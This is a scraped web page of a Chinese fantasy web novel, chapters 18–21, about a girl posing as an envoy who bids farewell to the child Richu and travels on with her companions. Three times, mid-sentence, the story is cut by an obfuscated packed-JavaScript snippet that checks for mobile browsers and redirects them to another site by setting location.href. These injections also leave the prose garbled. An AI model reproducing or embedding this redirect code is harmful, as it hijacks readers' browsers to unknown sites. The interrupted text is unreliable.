“陈哥呢？”许巧星拉上书包拉链，抬头问司机。一回镇，她就没看见陈哥。 司机满不在乎地耸肩：“他说离开之前，要去外面走一圈。我看他也不像是有散步闲心的，搞不懂，不过用不着管他。” 许巧星点点头。 门外有一招呼声，原来是有人来给他们送礼，许巧星出门，再三谢过。 司机笑了一下：“现在我们连路上的干粮都有了。” 许巧星站在门口，恰好看见众人簇拥着孚安往庭院外走。她听见有声音说，孚安是要挨家挨户去道谢祈福。她估摸着，等孚安忙完，他们就要离开白沙镇了。 “我去找日出，要和她告辞。”许巧星忽然想起，日出可能还不知道他们要离开的消息。 “早去早回，我和郝乐宁再去打听一下消息。”司机摆摆手。 许巧星随意在路边拉过一人，询问日出的下落。那人说日出今天上午有来过庭院，见正使不在，就回去了。旁边有人插嘴，师保似乎找日出有事，此时她应该在师保家。 师保就住在学堂里头，许巧星大致记得位置，婉拒旁人带路，道谢后便独自一人往学堂的方向走。 今日的小镇较昨日相比，有点不同。山间镇道上如逢年节，喜气洋洋。许巧星所至之处，旁人的赞叹不绝，他们争先恐后地馈赠花果。她实在应接不暇，赧然推辞，连忙逃走。 幸而学堂附近比较安静，没什么人。 许巧星在外头隐约听见了小女孩说话，她认出是日出的声音。 她抱着满怀的水果，想腾出一只手敲门，但怀中水果摇摇欲坠。她别无他法，只好在门外高声喊了一下：“日出在吗？我来找日出！” “在！”答话的却是另一个陌生声音。脚步声逐渐靠近，男人推开了虚掩着的门，脸上疑惑：“你是？啊，原来是正使大人，快进来吧。”他侧过身子。 许巧星看向这人与日出眉目相似的脸，愣了一下，随即心中了然。 男人对许巧星笑了一下：“日出在里面，师保与她说话。” “是有什么事吗？”许巧星将水果放在桌子上，随口一问。 那人回答：“使者大人说，他们要带日出一同回王城。” 18. 第 18 章 “为什么？”许巧星停住脚步，她瞪大了眼睛，“好端端的，为什么要带日出走？” 那人感到意外：“正使大人难道不知道这件事吗？” “……不清楚。” “孚安大人说，日出是大国师推算卦象后点名的国子，命格不凡，要带去王都精心教养，日后会有……高官厚禄。”他缓缓地说。 这番话把许巧星砸蒙了。日出前程似锦，天大的喜事！她刚想开口说些什么，日出的脑袋从一扇门后探了出来，咋咋呼呼地大叫：“姐姐！你来找我？” 男人在一旁说：“日出昨日说自己见过正使大人，我还以为她跑去给你们添乱了。” “没有没有。日出帮大忙了呢。”这是实话。她感受到日出目光灼灼，张了张嘴，“我是来和日出告别的。既然找到了宝物，我们也差不多要离开了。” “你们找到了？” “嗯。” 日出收起笑容：“你就要走了吗？” 许巧星点点头，想安慰她却一时间不知道如何开口，山高水远，以后怕是见不着了。 日出没有说话，只是靠过来，轻轻拉着她的手，走入房间。 这是一间书房，户牖大开，阳光投射在极高的书架上。墙边有一张柜子，一张桌子，别无他物。书架上井然有序，但屋内地上却堆满杂物，而师保正背对着他们，在一个箱子里翻找东西。 他扭头看见许巧星，打了一声招呼。 有一个女人站在师保旁边，她是日出的娘，正轻声与师保交谈。 日出踮脚，跳到书堆与杂物中间空出来的间隙。许巧星找不到地方可以立足，便站在门附近看。 “我才知道你被选成……国子，还没有和你贺喜。”许巧星不会说那些客套话，真情实意地说道，“祝你鹏程万里，大有作为。” 日出却撇撇嘴：“我不想去。” 没等许巧星纳闷，女人轻斥日出：“你在想什么？千年难逢的好事。在这之前，咱们这地方可听都没听过国子一说。使者大人那天也来说了，只要你去王都乖乖学习，将来是大有作为。千万别在这时候耍脾气，一辈子的……” “他说要带我走，我就一定要走？”日出皱眉打断了，“他还说，我以后只能呆着王城，不能再回来了！我就不去！王城又有什么好？” “王城和咱们白沙镇不一样。”日出的娘拧眉，“你别任性。”她低头看见日出的难看脸色，缓和语气，“你不是爱玩吗？咱们白沙镇你玩遍了，你就去外面玩玩，不也挺好？你不是很喜欢听正使大人讲外头的故事吗？人家是从王城来，见过世面的。你就跟着正使大人一起回去，好不好？” 许巧星被点到，胸膛里的心猛地跳了一下。她这个冒牌正使可不敢去王城。许巧星见日出沉默，不知道自己是否该解释。若日出怀着期待与正使见面的心情去了王都，恐怕会大失所望，终是开了口：“我，还有别的事。暂时不会去王城的。” 她见日出的娘投来求助的眼神，简直一个头有两个大。 “咱们日出年幼，性格也……未必适合去王城过烈火烹油的日子。她要是年纪再大一些，就好了。”日出的爹叹了一口气。 日出的娘狠狠地瞪他：“我现在在劝她，你又跑来扯这些话？那些道理，我就不知道了？她是我身上掉下来的肉，独自一人去千里之外，我就不心疼？” 日出双手叉腰：“反正我不去。” 日出的娘背过身子，迅速用手帕偷偷擦去泪水，声音却毫无波澜：“人家使者就没问你想不想去，明着说一定要带你走了。” 许巧星脑海里闪现几秒，昨夜晚宴后，孚安单膝跪下与日出讲话的身影。原来，说的竟是这事。 她没想到日出如此抵触排斥，转念一想，日出一幼童，得孤身背井离乡，纵是再好的远大前程，和这事放在一杆秤上，都要好好掂量一下。 师保终于在箱子里找到了自己想要的，站起身，掸了掸灰：“这是我以前用的东西，如今再去外面使，还会不会过时。你先凑合用，不好的话，再拿钱去买新的。” 日出恼了，一跺脚：“您没听见我说的吗？我说我不去。师保您别找了！” 书房内一时间安静无声，半晌，师保移开目光，把手中的东西搁在桌上。 许巧星才发现桌子摆了不少物件。有泛黄书本，一个小罗盘，几沓颜色各异的纸，还有一些许巧星不认识的物品。它们被人整齐摆放，虽已过多年，但显然爱护良好。 过了一会儿，他心平气和地说：“你若是肯赴王城，必然可博学多闻，见多识广。” “我不在乎。师保，我不像您那般好学。您要是让我啃书，我真能把书一片一片拌饭下肚，但是您别指望我吃进脑子里。” 许巧星闻言，差点莞尔。 “日出，使者说你日后必成大器。”师保温声相劝， “独自离开白沙镇固然艰难，但你可以出去做一番事业。谈不上救济天下，日后能好好造福一方百姓就好。好比白沙镇先前少粮缺米，若非我求学于羽冠城，岂能让这片田地禾黍丰穰？” “哦。” 师保循循善诱：“天高任鸟飞，你不想去外面见识一下吗？” 日出的娘低声道：“我也是这个意思。只是……师保你能不能和使者他们说一下，让我们日出再长大点再走。幼子尚不懂事，孤身在外，哪能照顾好自己？您当初出去求学，可年满十八了。” “我确有找过，但使者未松口，态度是少有的强硬。” 他们三人私语，日出固执地撇开头。可许巧星恰好看见日出咬紧下唇，不由担心。 她吐出一口气：“我去帮你问一下。” 几人转过头看许巧星。 许巧星朝着日出笑了一下：“我不知孚安能否同意，尽我所能罢了。” “谢谢你。”日出盯着许巧星的眼睛。 日出的双亲迎上来，连连道谢。 师保倾身合上箱子，把地上的杂物尽数收拾。日出脸上终于愁云散去，她挂起了明亮的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许巧星呆呆地应答，有些羞愧，心里头揣揣不安。他们还想拉着许巧星说些话，她匆忙告辞，几乎夺门而逃。 身后目光如实质般沉重。 她应付不来这样执手泪眼的场景，日出的双亲恨不得事事叮嘱，又怕许巧星嫌烦，反复宽慰解释。许巧星想逃，不是嫌烦，是她心中止不住惶恐。她不过是一冒牌货，孚安回王城一对账就会露馅，她哪里担得起日出双亲的托付？ 家人啊。许巧星叹了一口气。 她有一瞬，想起了自己穿越的那日。她临走前，撑着大伞站在雨中和奶奶说话，雨水沙沙地打在伞面上。奶奶站在屋檐下送她，悠悠叮嘱她路上小心，注意车，也不要被雨淋湿了。她点头一一应了，让奶奶回屋，奶奶执意不肯，非要目送她出门。 她出门失踪如此之久，奶奶肯定在到处找她，急得寝食难安。 她想回家。 屋外依旧是满天喜庆，可许巧星神情怔怔，拖着步子往前走。 19. 第 19 章 微风徐徐，她在庭院口顿住脚步，深吸一口气。 郝乐宁与司机正与他人交谈甚欢，没有察觉许巧星悄然回来。许巧星裹紧衣服，在人群中穿行，问清孚安尚未回来，她便快步进了堂屋。不知踪迹的陈哥正坐在椅子上，他听见脚步声，略点头致意，算是打过招呼。 她也没有说话，径直走进自己房间，轻轻地合上门。然后她坐在床沿，望着外面翠绿枝头。 人语传过木牖，她耷下肩膀，双眼无神地发呆。 不知过了多久，嘎吱一声，房门被缓缓推开了。陈哥站在门口，似是犹豫，许巧星盯着他看了几秒，他才轻声问：“你能不能……借我几张纸，再借我一支笔。我不会用他们的东西。” “好。”许巧星从书包里拿出一本笔记本，连同笔一起塞给陈哥，“我没有崭新的了，这本写过，直接送你好了。” “多谢。”陈哥收下，解释了一句，“我想写点东西，但是不方便用手机，怕没电。” 许巧星点头。 陈哥离开后，郝乐宁进来了。郝乐宁面带微笑，看起来收获颇多。她坐在许巧星身旁，问：“你和日出好好告别了吗？” 许巧星默然点头，又摇头：“她在忙。”于是言简意赅把情况说了一遍。 “那你过一会儿去找孚安，他还没回来，估计要些时间。”郝乐宁咳嗽两声，话锋急转，“我问到了，白沙镇往东，有一漆阳镇。那地四通八达，是交通枢纽。昔年师保游学念书也途经漆阳镇，我们就让使者把我们放在那里。这样一来，他们不需要特意绕路，也便于我们隐藏行踪。” 许巧星明白，不可以让使者知道四人的来去动向。若是东窗事发，他们顶替正使一事被查实，未来就要顶着逃犯的名号了。 “我们短期之内，回不去了。”许巧星喃喃自语。 “是。”郝乐宁平静地说，“我还问到了一件比较奇异的事。你记得他们怎样在水里找宝物的吗？” “记得。他们在河中间拉了一面网，然后下水捞。” 郝乐宁笑了一下，点明：“这条河，是通往大海的啊。” 许巧星脑中闪过一道光，霎时茅塞顿开：“那他们光在河中间拉网，万一宝物顺流而下，被冲到海里去，他们又不能入海，那该怎么办？他们先前完全不知道宝物化身成了一条鱼。” “对。”郝乐宁给了她一个鼓励的眼神，继续说道，“我听见，他们说那是神留下的宝器，有神明庇佑，不会被湍流卷入深海中。” 这话听起来荒谬可笑，可许巧星笑不出来。光是今日所见光怪陆离之事，着实叫她大开眼界，叹为观止。 “真有神吗？” “不知道。” 许巧星开玩笑：“那我们去找一个神仙庙，诚心诚意地拜一拜，给点香火钱。神仙若是听见了，或许会大发慈悲，送我们回该去的地方。” 却见郝乐宁抚着下巴，若有所思。 她愣了一下：“真的这样做？” “有何不可？”郝乐宁一摊手，“行之有效就行，反正也费不了多大的事。” 许巧星眨眨眼睛：“那他们禁止出海，难道也是神仙不让吗？” “或许是，我没敢细问。等我们去了羽冠城再做调查，说不定能找到我们离开的方法。”郝乐宁把鬓边的落发梳理到耳后，“我们稍后就去找孚安说一声，他还不知道我们不跟他去王城。” “去羽冠城后，我们就不用再这样……他们左一句‘正使大人’，右一句‘正使大人’，喊得我慌，简直坐立不安。” 作为虚假顶替的正使，每当许巧星面对旁人时，总做贼心虚。不知是孚安一时疏忽还是别的缘故，短短几日，他们从没过问几人的名。对使者而言，知道他们是正使已够了。 不过，这对许巧星他们是一件好事。 郝乐宁安抚道：“他们出行不要路引，故而我猜测这里的户籍管理不算严格。羽冠城既然是一个繁华的大城，我们就说自己是偏僻地方来的小门小户，寻一些闲杂小事做，应该没什么人会管。” 通都大邑之间人来人往，他们四个外来者就可以无声无息地融入其中，并不扎眼。 “一旦孚安与正牌的正使一碰面，王城肯定会派人来追我们的。”许巧星思考一下，“希望我们能快点找到方法回家。” 郝乐宁拍了拍许巧星：“司机说，未来我们说不定学会法术，就能呼风唤雨，无所不能，当一回小神仙。回家一事肯定小菜一碟。” 许巧星没放在心上。她思绪一转，今日大展神通的使者也没有腾云驾雾，不食人间烟火，这两日大家吃同一个锅里的饭菜呢。乍一看他们气质出尘脱俗，但大家明显仍是肉体凡胎。小神仙没有那般灵验，否则在河中寻觅宝物一事，对他们来说不过是举手投足之劳。 两人又商议了一会儿，门外传来一阵喧哗。她们出门一瞧，原是孚安回来了，便急急忙忙地迎上去。郝乐宁说他们有别的事，不能与孚安一同回王都，孚安拧眉，却没有反驳。正使不归他管，他也无权过问，左右不过叮嘱几句。 郝乐宁朝许巧星比了一个手势，事情办妥了。许巧星松了一口气，她之前还忧心使者会出言阻碍。她上前一步，要提日出一事。 一向极好说话的孚安却斩钉截铁地拒绝了，鸟道：“不可以。她已为国子，不能留在此地。” “突然和她说这些，未免仓促。等她年纪再大一些，可以吗？”许巧星问他。 孚安摇头道：“这不容你我置喙，是大国师下令的。” 海生显然知道此事，笑着从旁相劝：“你写一封信回去。问一下大国师，可好？” 孚安似是吃惊，停顿几秒，缓缓说道：“大国师之言，重于九鼎，怎么能轻易……”他说不下去了。 “你今日一定要带她走吗？”许巧星盯着孚安，“能不能再给点时间？或者，她的双亲能不能一起去？你若是强行把她掳走，她必然对王城反感，或许会生出厌恶之情。” 孚安本欲结束对话，闻言，终是松了口。 “先将宝物送回王城，但会留人护卫在日出左右。至于其他事宜，得先禀过大国师，再做决断。” 许巧星忙不迭道谢，孚安不肯再多言，朝她行一礼。 使者穿梭在屋内外，把箱箧运至兽车上。孚安方才出门，带了平安镇宅符，挑了一个好地方给白沙镇祈福。这段日子，他与白沙镇的人相处融洽，使者即将离去，他们拒了设宴，仍有不少人前来送行。 忽然，有一人高喊：“抓到桑窃了！”众人投过视线，那人手上提着一个木笼子。 笼子里装了一只火红毛团，正蜷缩着，羽尖在轻微颤抖。 有三两孩子兴高采烈地凑在笼子旁，透过缝隙打量那只鸟，于是毛团乍然受惊，缩得更小了。站在附近的人纷纷围上去，恭贺笑道：“今日是吉日，既找到了宝物，又抓到了桑窃。” “大喜！” “怎就一只？” 众人七嘴八舌。 庭院内，水池倒映浓绿树影，风吹而过，最顶端的树梢摇晃了一下。 海生摸了摸下巴，拿了主意：“正好让使者带到白沙镇外面去吧。”他提着笼子，喊上几人，去了墙角。他们得吓唬吓唬这鸟，佯装凶横地骂它一顿。让它知道怕，从此便不敢再来白沙镇了。 片刻之后，这个木笼子被人放在了兽车上。火红的毛团正瑟瑟发抖，一旁还被放了半片白嫩的鱼肉。 许巧星没见过桑窃，走上去旁观。 那挨骂的绒球似乎闻到了鱼味，拱动两下，在层层叠叠的毛中探出小巧的嘴巴。它想去吃，又畏惧笼外的人，几经犹豫，重新拱成一个圆滚滚的球。 许巧星失笑，向旁人要来几块鱼肉，塞在笼子缝隙里逗鸟。她闲手站在车旁，时不时往说话的人群里瞧。热情洋溢的人拉着孚安的手，面露不舍，迟迟不肯松，孚安则挂着和煦的笑容，一一回应。 她用鞋尖踢了踢石头，看了又看，见桑窃打定主意不肯吃，便回房拿了书包。 她托腮坐下屋檐下的石阶上，听着树叶沙沙作响。天色变暗，孚安松开了手，人群一阵感慨，他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988150|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要离开了。许巧星时不时回头望向外面，而缠花篱笆外终于出现了日出的身影。 日出与家人、师保一起同行。她垂头走在最后，本在陪客的海生瞥见他们，走了过来。日出转头扑向她娘，躲在大人身后，生怕海生立马抓了她。海生挑眉，立在原地，与师保仔细交代。 日出站在她娘身后，探出脖子，目光在人头攒动之处来回扫动。她在角落发现了许巧星，二人目光相交，然后日出仰头与母亲知会了声，便朝着许巧星跑来。 许巧星站起身，日出没有放缓脚步，反而撞进她怀里，给了一个用力的拥抱，闷声说：“我会想你的。” “我也是。”许巧星猛地被拥抱，稍不自在。她犹豫再三，缓缓抬起胳膊，轻轻地放在日出背后。 “刚刚海生说了，使者会留给我一些时间。谢谢你替我说话。” “不用谢。”许巧星忍不住微笑。 她很高兴帮上忙。穿越初至陌生世界，他们很幸运见到日出，因缘际会之下，她才能站在这里。若没有日出一开始伸出援手，她极有可能仍在山里蓬头跣足地躲藏，日日餐风饮露。 日出仰头道：“一想到外面有你们这样的人，忽然又不害怕了。” 许巧星哑口无言。她意识到一个问题，白沙镇的确民风淳朴，夜不闭户，故而日出稚子心善，不识恶人。可是离了白沙镇，怎可能人人皆友善热心？她一想起日出被自己一行人轻而易举地哄骗，不由得警铃大作。 她双手放在日出的肩膀上，语气郑重：“下次，要是还有陌生人找你，你千万别跟着走了。”她怕不够形象，列了几个例子，活生生就像学校开展安全教育的老师，语重心长，把日出说得一愣一愣的。 她见日出没反应，简直痛心疾首：“你想想，你那日独自上山，可是我们有四个人。万一我们把你抓走了怎么办？” 日出若有其事地点头，许巧星低头看着日出眼神懵懂迷茫，暗中叹了一口气。 “反正你记住，等你到了王都，别随便跟人走了。”许巧星再次强调。 日出倏然倒吸一口气，脸色白了：“啊！难不成王都的坏人很多吗？” “我不知道。”许巧星发觉此言陡增日出对王都的恐惧，可自己不得不说，她忙不迭补充，“并非是恶人横行，但是你在外须有防备，对不对？” 日出低语：“还是我们白沙镇好。” 许巧星感到棘手：“你记住了。” “好哦。”日出答应了，随后又问：“那我等你到了王都，我去找你玩，可以吗？” 她微微张嘴。 我们不是正使，你去了王都也见不到我们的。 许巧星扭头避开日出期待的眼神，装作无意之间打哈欠：“我？我我暂时不会回去的，还有别的事情要做。”一旦得到归家的方法，他们就会离开这个世界。经此别过，余生大概是再也见不着面的。 日出没有得到回应，略有失落地垂下头。 滚轮碾过泥土，为首的兽车缓慢移动。 庭院内拥挤的人群如潮水般散去，让开一条宽敞的路。海生走过来，领着许巧星走向队伍后列的兽车旁。那辆兽车驻于道旁，车门朝外开，两排软垫相对而设，隐有淡淡木香。陈哥和司机已坐在车上。 许巧星一手牵着日出，站在车门外。 郝乐宁也走了过来，她接过许巧星的包裹。许巧星松开日出的手，踩在踏板上，稳稳当当地上了车。 郝乐宁朝她说：“要走了。” “嗯。” 海生隔着车窗，他露出与往常一样的爽朗笑容：“万事祝好。” 孚安依旧嘴角含笑。 “我很高兴交上你这个朋友。各自珍重，有缘再见！”许巧星忽然把头探出窗外，对日出喊了一句。日出一扫脸上阴霾，笑着朝她用力挥手。 艳丽云霞沉在天边，绿意盎然的群山之间披上一层霞光，有一条车队开始沿路往白沙镇外驶去。 兽车辚辚，许巧星坐在车上，白沙镇逐渐远了。她望见窗外景色飞掠，化为残影。 20. 第 20 章 高空碧蓝无云，振翅声乍起，在华美宫殿的上空飞过鸟群，一根羽毛轻飘飘摇晃落下，被风卷进宫殿一处镂空天窗，天窗下正对着一池淡色花。此地鲜有人来，远离王都中心人群蜂拥的闹市，格外寂静无声。 一位使者手持一小碗活饵，倒在水池边缘，小鱼在大片花瓣的遮掩下穿梭。那根白色羽毛落在水面上，稍稍停住，却又被鱼尾甩出的水波推得更远。 另有一名使者走来，朝她点头示意。喂鱼的那名使者做出无声的回应，她将瓷碗搁在水池旁，掸了掸衣袍上的灰，便往宫殿更深处走去。 宫殿连片相接，外看辉煌精致，可内部陈设单一。她在曲折的回廊中轻车熟路地行走，偶有遇见使者，相互行礼致意，随着遇见的人越少，脚步声在偌大的宫殿中显得更加清晰。 此地为王都圣地，用以供奉神明。尽管没有明文规定，但在肃穆宫殿中，每一位使者皆自觉闭口不言，或只可轻声耳语。 她来到一大殿门口，门外有多人严密看守。 她向他们举起一块黝黑牌子，看守人检查无误后，令一旁的两人陪同进入。自从圣物丢失后，但凡欲进此大殿，须有三人同行，大殿四周布下多重法阵，谨小慎微，层层设防，以防重蹈覆辙。 这座大殿高大宽敞，雕栏画栋，可殿中仅摆了一张台子，别无旁物。那座墨色石台的上方，静静悬浮着一根细长的权杖，长杆上镌刻繁复花纹，顶端如同树枝生长般向上扩散开，长短交错，末梢又缠绕在一起，形成几个参差不齐的水滴状镂空盒，其中镶嵌了些许透亮宝石。 若仔细瞧，可以察觉到那权杖顶端缺了一角。 权杖在数月前为人所窃取，孚安作为那日看守人的队长，监管不当，放了不该放的人进这座大殿。大国师降下雷霆之怒，此事在王庭上下引发了不小的震荡。 幸而权杖很快被追回，可顶端莫名丢失了一部分。圣物坚固难摧，从未损坏过，众人大惊失色，派人前去追查。 另两名看守人经过多道仔细审查，确是疏忽大意，并非那盗窃人的同谋。他们二人被幽禁数月，至今不可离开居所。孚安对此事难辞其咎，大国师亲自提审，排去他的嫌疑后，令他将功补过。 孚安以代罪之身，前去寻找圣物遗失的那一部分，他若找不到，必然一同下狱。他身边贴身跟着的几人，也存监视之意。 盗窃人的身份非同寻常，因此让三名看守人掉以轻心，未经确切查实他已得到允许，便放了他进去，酿成大错。 外人只知有宝物丢失，却不清楚具体来龙去脉。此人秘密被捕，身份也仅有少数几人知晓，但是与他相干的人多被牵连，被大国师寻了些错处，断断续续地贬黜失权。那窃贼一直不肯说清缘由，后在被关押之地离奇去世。这让整件事情更显匪夷所思。 此事之后，宝物看守越发森严，若不经过大国师与使者之首的准许，连只小飞虫也别想溜进去。 持令牌的使者奉命来例行检查，并不触碰圣物，只是绕着台子转了一圈，所幸一切无碍。她走出去后，稍加安定，随着轰隆一声巨响，看守人合上高高大门。她对着他们行礼告辞，眺望远处的高空，不由得叹息。 圣物丢失，是两百年以来从未有过的大事。 他们不知道的是，那只载了好消息的青鸟正翱翔着从白沙镇飞往王都，化鱼的宝物亦在归途。 许巧星的座位对面是孚安，他们所乘兽车并没有放那个水桶。车内足足坐了五人，其余大物件是塞不下了。 过了白沙镇，远近黛山烟水，杳无人烟。她望着窗外重峦迭嶂，心头莫名萦绕怅然。 鹦鹉不愿闷在车内，在车外展翅高飞，时不时落在车顶休息。没了这只长满羽毛的翻译官，许巧星等人听不明白孚安说话意思。且因有他这个外人同乘一辆车，他们自己不方便商量别的事宜。 一路无言。 兽车速度不算快，更没有现代交通工具平稳。道路杂石横生，车厢颠簸不断，作为从未乘过兽车的乘客，自然不好受。郝乐宁头晕得不行，差点将胃容物颠出来，她与许巧星调换了一个位置，靠在窗边闭眼小憩。 车行驶上了平整大路之时，星辰满天。乘客与行车兽均需休整，便在道旁的一块空地驻车扎营。 夜深风寒，山林深处鬼影幢幢。 那只白色鹦鹉于高空盘旋数匝，落地后，朝使者讨要吃食。 众人捡来石头围成一圈，点起火堆，围火堆席地而坐。干木柴响起噼啦啪的细碎声响，暗烟丝丝缕缕升起，人影狭长，与树木的倒影交融在一起。 木桶不敢放在车外，仅打开了车门透气。孚安掀开那片盖在水面上的大叶子，仔细打量，那鱼安然无恙，在水桶里打转。 那装了桑窃的笼子被使者从车内提出来，挂在车厢外沿，许巧星发现笼内的鱼肉已消失不见。使者又往里面放鱼，但桑窃似在沉睡，丝毫不理。 许巧星坐在草地上，解开干粮包裹，正想填饱肚子。一路坎坷不平，她实在食不下咽。她嚼着干粮，无意间抬头，却发现不远处的树林里有一道巨大的黑影飞快掠过，惊得一愣。 这附近是有野兽吗？ 显然受惊的不止许巧星一人，她听见惊呼声。 行车兽按耐不住，高高嘶鸣起来。许巧星头一回听见行车兽的叫声，虽在耳畔，听起来却觉悠远，好似隔着一座山头。它们鼻子打粗气，在原地不断打转，被使者尽力安抚，逐渐平静下来。 许巧星侧耳倾听，可周围除了他们，唯有虫鸣蛙叫。 “那是什么？”司机轻声问。 孚安微微摇头，收起笑容。他站起身，比划了几个手势，留下一半使者在原地，另一半人则跟他前去探个究竟。 有使者拿出符纸，符纸在手中无火自燃，她向上一抛，符纸发出的光芒将几人笼罩。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988151|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孚安带人往影子逃窜之地悄然摸索过去，不久之后，一阵劲风猛烈刮过，车外挂着的木鸟笼剧烈摇晃，撞在车厢上，安睡的桑窃吓得扑腾炸笼，发出尖锐的叫声。 那道黑影再次一闪而过，无声无息。可是出乎意料的是，它竟出现在完全相反的方向。桑窃一声一声啼叫，在寂静的深夜，听得让人心慌。 许巧星忍不住打了一个寒颤。总觉得有凶猛野兽潜伏在黑暗之中，伺机而动。使者忙不迭将正使护在中间。 孚安等人换了一个方向。他再次带人回来时，鹦鹉似一条直线迅速冲到他肩膀上，靠在脖子旁发抖。无需他们多问，孚安的难看脸色表明一无所获。 僵持良久。 桑窃叫累了，停了下来。四周已鸦雀无声。 “要不要上车？”许巧星上前一步，问他，“我们离开这里吧。” 孚安沉思，他对身边的使者说了一句话，使者们均掏出符纸，把四周照得清晰可见。 许巧星拧眉环顾四周，附近没有野兽踪迹。她目光停留在木笼子上，顿时愣住了。 笼门大开，在里面的桑窃却不知何时消失了。 许巧星和孚安说了一声，孚安微微一怔，松了一口气，居然露出一抹微笑。 他让使者收了符纸，平静地解释。 鹦鹉闻言，怒不可遏地嗷嗷大叫。它被孚安又说了两句，才不情不愿地翻译，嘴里止不住地骂骂咧咧。许巧星听了满耳朵的“烂树枝”骂人鸟语，终于得知，刚才的动静全是桑窃为救同伴而造出的幻影。 许巧星哑然，半晌才回过神来。日出曾经和她说过，“据说”桑窃能变幻出巨大影子，现在她算是亲眼见到了。 他们本是想把桑窃带到多河之地放飞，没料到竟有这一遭。 郝乐宁擦了一把冷汗：“这鸟这么聪明的吗？居然懂声东击西。” 司机一想到他们被一只鸟吓惨了，忍不住笑着骂了一声。 许巧星暗自感叹，另一只桑窃估计是飞在天上，遥遥跟了他们一路。一旦等他们停下来，便来营救同伴，骗过了所有人，行动堪称完美。 她的眼神不禁飘向那只气得炸毛的鹦鹉，在她的世界里，虽同样有鹦鹉学舌，但怎可能如此聪慧伶俐，它能充当两种语言的翻译官，简直不可思议。 还真是鸟也成精了。 经过这番插曲折腾，众人疲惫，也没了烤火休息的心思，使者简单布置了一个驱赶野兽的法阵，又留下两人守夜。其余人纷纷登上了兽车，坐在软垫上，和衣入睡。 兽车上的座椅虽然放了软垫，但是坐久了仍然让人不适。在外面没什么讲究的，许巧星默默怀念了一分钟柔软的大床，裹紧衣袍，靠在椅背上沉沉睡去。 许巧星醒来之时，远处曦光微亮，灰蓝淡紫的天空显得高远莫测，山头飘着淡雾，地上草叶上点缀晶亮露水。 又要上路了。 21. 第 21 章 水桶中的宝物鱼没有进食，只是静静地呆在桶底。孚安忧心忡忡，检查过它无大碍后，便命他们即刻启程，早日回归王城。众人纷纷收拾好扎营的痕迹。 “今日就能到漆阳镇了。”习惯早起的司机精神抖擞，他去使者那边问了一声，回来告知他们。 “好。”许巧星问他，“他们有问你为什么吗？” 司机摇头。不远处传来喊他们登车的喊声，他们便歇了交谈。 昨夜受到惊吓的鸟老实规矩地呆在车内，宛如一颗蔫了的白菜，它受到零食诱惑，恪尽职守地担当翻译官一职。 孚安问他们是否需要一辆兽车，使者可以分出一辆借用给他们。 虽然这一拥有交通工具的提议极具诱惑，但是庞大的兽车不好处理，尤其使者的兽车上刻有特殊花纹装饰，更易被人查到行踪。他们便拒绝了孚安。 接下来的话却让他们不由得惊愕。 孚安面色恭敬，那鹦鹉道：“俺之前收到老家来信，信上写有一车队护送正使大人前来。一直未能收到正使大人送来的消息，如今不知为何少了如此多人？若此事需旁人相助，还请直言，必定不负所托。” 许巧星不知孚安此言是否有心，她听着自己的声音：“不是我们刻意隐瞒，涉及机密，实在是不宜为人所知。这就是我们简装便行的目的。”这个理由是几人先前便商议过，专门拿出来唬人用的。孚安虽为人亲切，但许巧星面对他时，总悬着一颗心，生怕言行有失。 孚安颔首，果然不再问了。许巧星暗中叹了一口气，她不知道那些货真价实的正使此时身在何方，有可能他们前脚离开白沙镇，正使后脚便赶到了。 她想，孚安只知有正使前来，却不清楚具体何人，也从没与正使本人联系过。所以，这世界信息传递并不便捷，使者与正使之间关系较为疏远。虽同有“使”这一字，但二者不是一个部门下的，只是共同为旁人所差遣。 她祈望，这事能更晚一些露出破绽，留给他们时间。最好，等使者反应过来时，他们已经回到了自己的世界。 车内五人一鸟默不作声。向来寡言的陈哥倏忽发言，引人注目。他乍一开口，愣了几人：“你身上有多余的钱吗？我们身上的盘缠不够了。” 许巧星回过神。她望向陈哥，这人想得周全。是啊，一分钱难倒英雄汉，更何况他们对漆阳镇与羽冠城一无所知，身上没钱更是寸步难行。 他们之前在白沙镇被人当作贵客款待，若去了一个新的地方，吃穿住行样样均需花钱。日后不能再拿正使名头去招摇过市，他们肯定得要自食其力，但是糊里糊涂的外界人哪这么快融入当地？在找到赚钱窍门之前，总不可能一直风餐露宿，过着好比山里野猴的生活吧。 孚安顿了一会儿，好似这请求对他而言是语出惊人。他转过身，抚着车壁，竟打开一个暗格，接着取出一个布袋——孚安的举动如同下凡拯救苍生，散发圣光，他甚至没看一眼袋子里有多少钱，大方地塞到陈哥手中。 他们忙不迭道谢。陈哥当着孚安的面，打开袋子往内一看，里面装的是一堆形状类似贝壳的货币，还有一张纸钞。 许巧星不是那类不闻窗外事的学生，灵机一动，又询问起当地物价。可是孚安才是真正从未操心过这等事的人，自打出生就甚少离开使者的山头，侍奉在神像左右，对其他事一问三不知。 他面露愧色，称自己一概不知。 